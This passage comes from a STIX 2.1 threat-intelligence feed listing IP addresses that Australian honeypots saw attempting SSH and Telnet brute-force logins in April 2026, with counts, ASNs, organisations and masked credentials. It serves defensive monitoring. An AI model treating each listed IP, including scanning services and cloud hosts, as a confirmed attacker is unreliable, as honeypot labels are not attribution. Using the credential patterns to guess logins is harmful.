      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:15:04.000Z",
      "valid_until": "2026-05-21T12:15:02.000Z"
    },
    {
      "created": "2026-04-19T12:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, g***t, r**t.",
      "id": "indicator--fb49678d-f2e2-46a0-9f36-1029161b4e5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T12:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.145.181.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:15:04.000Z",
      "valid_until": "2026-05-21T12:15:02.000Z"
    },
    {
      "created": "2026-04-19T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 701. Organisation(s): Verizon Business. Usernames observed (masked): *, a***n, ***. Passwords observed (masked): , *, a***n.",
      "id": "indicator--6524ebb2-2a18-4f02-aefe-5e69d6e3722a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '108.28.182.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T13:15:03.000Z",
      "valid_until": "2026-05-21T13:15:01.000Z"
    },
    {
      "created": "2026-04-19T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *, a***n, ***. Passwords observed (masked): , *, a***n.",
      "id": "indicator--d66f41a5-f0a5-40e9-bb1a-244b559ab18e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '164.90.166.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T13:15:03.000Z",
      "valid_until": "2026-05-21T13:15:01.000Z"
    },
    {
      "created": "2026-04-19T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--dc5251a9-dc55-4e26-ac78-da2d53b31b12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T13:15:03.000Z",
      "valid_until": "2026-05-21T13:15:01.000Z"
    },
    {
      "created": "2026-04-19T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--260e3f23-05c1-4e33-8eb3-d8c539879952",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.159.8.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T13:15:03.000Z",
      "valid_until": "2026-05-21T13:15:01.000Z"
    },
    {
      "created": "2026-04-19T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b37b75a1-59d8-4a5a-b56d-92518ec92eeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.76.161.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T13:15:03.000Z",
      "valid_until": "2026-05-21T13:15:01.000Z"
    },
    {
      "created": "2026-04-19T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e4473882-9aed-4a1a-9a5e-8894619e610b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T13:15:03.000Z",
      "valid_until": "2026-05-21T13:15:01.000Z"
    },
    {
      "created": "2026-04-19T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--3eed2289-a984-4be4-a693-7084e44381cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.96.44.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T14:15:03.000Z",
      "valid_until": "2026-05-21T14:15:01.000Z"
    },
    {
      "created": "2026-04-19T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--35b03c6a-efe1-4032-829f-360b82f8d4b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.141.171.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T14:15:03.000Z",
      "valid_until": "2026-05-21T14:15:01.000Z"
    },
    {
      "created": "2026-04-19T14:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ec29d5f4-4b81-4b52-9c8f-ffaceeb1b127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T14:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T14:15:03.000Z",
      "valid_until": "2026-05-21T14:15:01.000Z"
    },
    {
      "created": "2026-04-19T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): r**t, p******s, s***m, u**r, 3**********4. Passwords observed (masked): 0****1, 3***********4, 3**********4, 9******m, Q***********1.",
      "id": "indicator--20b3f7da-d129-4cef-8408-3b8e32e9d86e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.238.252.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:15:05.000Z",
      "valid_until": "2026-05-21T15:15:03.000Z"
    },
    {
      "created": "2026-04-19T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): q***********4.",
      "id": "indicator--eb65745e-c392-495e-a0a1-b9782b4d2444",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.128.170.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:15:05.000Z",
      "valid_until": "2026-05-21T15:15:03.000Z"
    },
    {
      "created": "2026-04-19T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, a******3, s***m, s******n. Passwords observed (masked): ***, 1******m, 3***********4, 3**********4, K*******3.",
      "id": "indicator--b77779ca-01a6-491c-929f-582a58b172ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.222.117.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:15:05.000Z",
      "valid_until": "2026-05-21T15:15:03.000Z"
    },
    {
      "created": "2026-04-19T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): u****u. Passwords observed (masked): ***.",
      "id": "indicator--87937334-76ae-4385-bea7-cbb1fe4ff31c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.82.41.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:15:05.000Z",
      "valid_until": "2026-05-21T15:15:03.000Z"
    },
    {
      "created": "2026-04-19T15:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): r**t. Passwords observed (masked): K*******@.",
      "id": "indicator--4c5ceedf-5bc4-40d6-a409-0776e17211b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T15:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.82.52.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:15:05.000Z",
      "valid_until": "2026-05-21T15:15:03.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 137987. Organisation(s): Md. Shohidul Islam TA SK Link. Usernames observed (masked): r**t, 3**********4, f*****r, ***, m***n. Passwords observed (masked): 1********6, 2******m, 3***********4, 3**********4, Q******4.",
      "id": "indicator--fa8f7016-f120-4cdf-8d8d-4d6a1eeba64a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.119.94.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 58955. Organisation(s): Bangmod Enterprise Co., Ltd.. Usernames observed (masked): r**t, 3**********4, t*******k, f*****r, p******s. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1******r.",
      "id": "indicator--697dcf32-f6ab-4d22-9b4b-0981e26038b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.169.67.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138277. Organisation(s): Radinet Info Solutions Private Limited.",
      "id": "indicator--1372da27-cbb8-4643-b5d6-f7ccde2e400a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.94.81.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 3303. Organisation(s): Bluewin. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--6819bdcd-f932-4b95-b337-84a1354399ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.2.91.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 33566. Organisation(s): Knoxville Utilities Board. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--a3d6caa8-dc70-4fc2-aa33-894440839acc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.81.54.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--acb65837-c6b7-4a12-b5e6-e063d1efc789",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.168.14.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--20926d43-bb9d-4918-bb81-9af04da52280",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.200.64.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 5900. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Passwords observed (masked): 1****1.",
      "id": "indicator--93c62a19-9ee2-425b-9f54-dae15f550671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--1ec24313-4a10-4f29-a79f-b8a658c2d5ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--34f2322a-8dc2-4070-a150-524823b3f4e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 243. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t, 3**********4, f*****r, s****r, u****u. Passwords observed (masked): 3***********4, 3**********4, 1****4, 1******r, A*********0.",
      "id": "indicator--f2cb7973-413b-455d-ab53-c68c3234f1dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.99.110.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:15:03.000Z",
      "valid_until": "2026-05-21T16:15:01.000Z"
    },
    {
      "created": "2026-04-19T17:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--89808108-275d-4e16-bda9-40fc01e15ff2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T17:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T17:15:03.000Z",
      "valid_until": "2026-05-21T17:15:02.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 397. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, u****u, d****y, f*******1. Passwords observed (masked): 3***********4, 3**********4, ***, 1*******A, F********5.",
      "id": "indicator--22846d10-d753-430e-96ff-2905d1c5a5d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.210.21.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f5b456fd-7d8a-479d-bf3f-666344cb794f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.237.125.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, u****u, f*****t, 3**********4, ***. Passwords observed (masked): 1****1, 1******8, 2****3, 3***********4, 3**********4.",
      "id": "indicator--34cb1665-d604-433f-97a1-cb237f9f1706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '136.248.247.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 315. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262875. Organisation(s): IP AMERICA TELECOM LTDA. Usernames observed (masked): r**t, u****u, 3**********4, d****y, a****n. Passwords observed (masked): 3***********4, 3**********4, ***, 1*******A, D**********!.",
      "id": "indicator--8ea3e39f-3494-4f42-a84b-200bf3f5af75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.113.38.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--e03f2f8c-eaf6-4bd6-8006-eb931063c980",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.212.28.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 320. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited. Usernames observed (masked): r**t, 3**********4, d****y, f*******1, u****u. Passwords observed (masked): 3***********4, 3**********4, ***, 1****1, D**********!.",
      "id": "indicator--141346b3-f880-45b8-b953-e8ae98248db1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.17.5.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 486. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, u****u, 3**********4, d****y, f*******1. Passwords observed (masked): 3***********4, 3**********4, ***, 1****1, 1*******A.",
      "id": "indicator--bbdb1c7f-2eb2-4098-b141-98812fe2ef01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-19T18:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.75.247.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:15:05.000Z",
      "valid_until": "2026-05-21T18:15:01.000Z"
    },
    {
      "created": "2026-04-19T18:15:05.000Z",
